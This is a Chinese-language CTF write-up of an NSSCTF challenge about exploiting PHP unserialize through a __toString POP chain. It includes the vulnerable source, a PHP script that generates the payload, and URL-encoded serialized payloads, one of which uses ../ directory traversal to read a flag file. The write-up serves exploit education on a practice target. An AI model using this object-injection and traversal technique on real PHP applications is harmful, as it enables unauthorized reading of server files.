🌟 关注这个靶场的其它相关笔记:CTF 练习平台 ------ NSSCTF · 过关思路合集
0x01:考点速览
本题考察的是 PHP 反序列化漏洞,与一般考题不同,此次的入口为 __toString()
函数,且大部分对象都没有 __construct()
类,所以需要我们手动在对象内部为其赋值。
0x02:Write UP

访问靶场,是一个代码审计,完整的 PHP 代码如下,没有涉及啥偏僻的函数:
php
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
下面开始烧脑分析,笔者我比较喜欢进行反向逆推,即首先确定我们最终的目标,然后从终点摸到起点(建议对着原始代码一行一行理解):
-
确定目标:
ace::echo_name() => file_get_contents($file)
且$file = './flag.php'
-
要想满足条件一,我们需要让
ace::$filename = "flag.php"
-
继续回溯,要想执行
file_get_contents($file)
我们需要满足一个if
条件:-
if($this->openstack->neutron === $this->openstack->nova)
-
突破口:
$this->openstack->neutron = $heat;
-
$heat
变量未在当前文件出现过,因此我们可以推测其在 flag.php 文件中。 -
值得注意的是,赋值发生在
echo_name()
函数中,在 PHP 中函数内部是无法直接访问函数外部定义的变量的,除非使用global
关键字或参数传递,因此,上面这条语句会报一个错,即$heat;
未定义。 -
当 PHP 遇到一个未定义的变量时,它会发出一个
Notice
级别的错误,并将该变量视为NULL
。 -
因此上面的语句可以等价于
$this->openstack->neutron = NULL;
-
-
-
值确定了,那么下一个问题,哪个类中有
neutron
和nova
参数?- 答:
acp()
类。 => 所以$this->openstack = new acp();
且acp()
对象中的$neutron
和$nova
均为 NULL,即不赋值即可。
- 答:
-
我们又知道
$this->openstack = unserialize($this->docker);
所以我们可以确定$docker
的值为:serialize(new acp());
-
至此,
ace::echo_name()
函数分析完毕。 -
问题:如何调用
ace::echo_name()
函数?- 答:
acp::__toString()
方法中的return $this->cinder->echo_name()
。我们需要确保$this->cinder = new ace();
- 答:
-
继续:如何调用
acp::__toString()
方法?即,什么时候acp
对象会被当做字符串执行。- 答:
echo $logData;
且$logData = unserialize(serialize(new acp()));
- 答:
至此,整个 POP 链就构造完成了,下面就是开始编写利用代码,下面是完整的利用代码(看注释):
php
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
// $this->cinder = new pkshow;
$this->cinder = new ace; // Step 2: 确保 $hits->cinder->echo_name() 调用 ace 对象中的函数
}
function __toString() // 当对象被当作字符串调用时触发,echo $acp;
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename = "flag.php";
public $openstack;
public $docker = 'O:3:"acp":3:{s:9:"\000*\000cinder";O:6:"pkshow":0:{}s:7:"neutron";N;s:4:"nova";N;}'; // Step 3.4: 这个值通过 echo serialize(new acp()); 获得
function echo_name()
{
$this->openstack = unserialize($this->docker); // Step 3.3: 由于 neutron 与 nova 都是 acp 中参数,所以确定 $this->docker = serialize(new acp()),且 acp 中的这两个参数都不用赋值,保持 NULL 即可
$this->openstack->neutron = $heat; // Step 3.1: $heat 不存在为 NULL
if($this->openstack->neutron === $this->openstack->nova) // Step 3.2: $this->openstack->nova = NULL
{
$file = "./{$this->filename}"; // Step 4.1: 由于我们最终想要读取 ./flag.php 所以 $this->filename = flag.php
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
// Step 1: 序列化 acp() 类,由于最终 Payload 通过 GET 方式传递,所以我们需要经过 URL 编码
$payload = serialize(new acp()); // 这个就是我们最终传递给 pks 的值
echo urlencode($payload); // 打印 Payload
// if (isset($payload))
// {
// $logData = unserialize($payload);
// echo $logData;
// }
?>
运行代码,拿到 Payload 直接传递给 pks 即可:
php
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如上,得到提示,flag 位于根目录,这里我们只需要利用目录穿越漏洞,修改一下 ace::$filename
后重新生成 Payload 即可:
bash
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如下,成功 GET Flag:
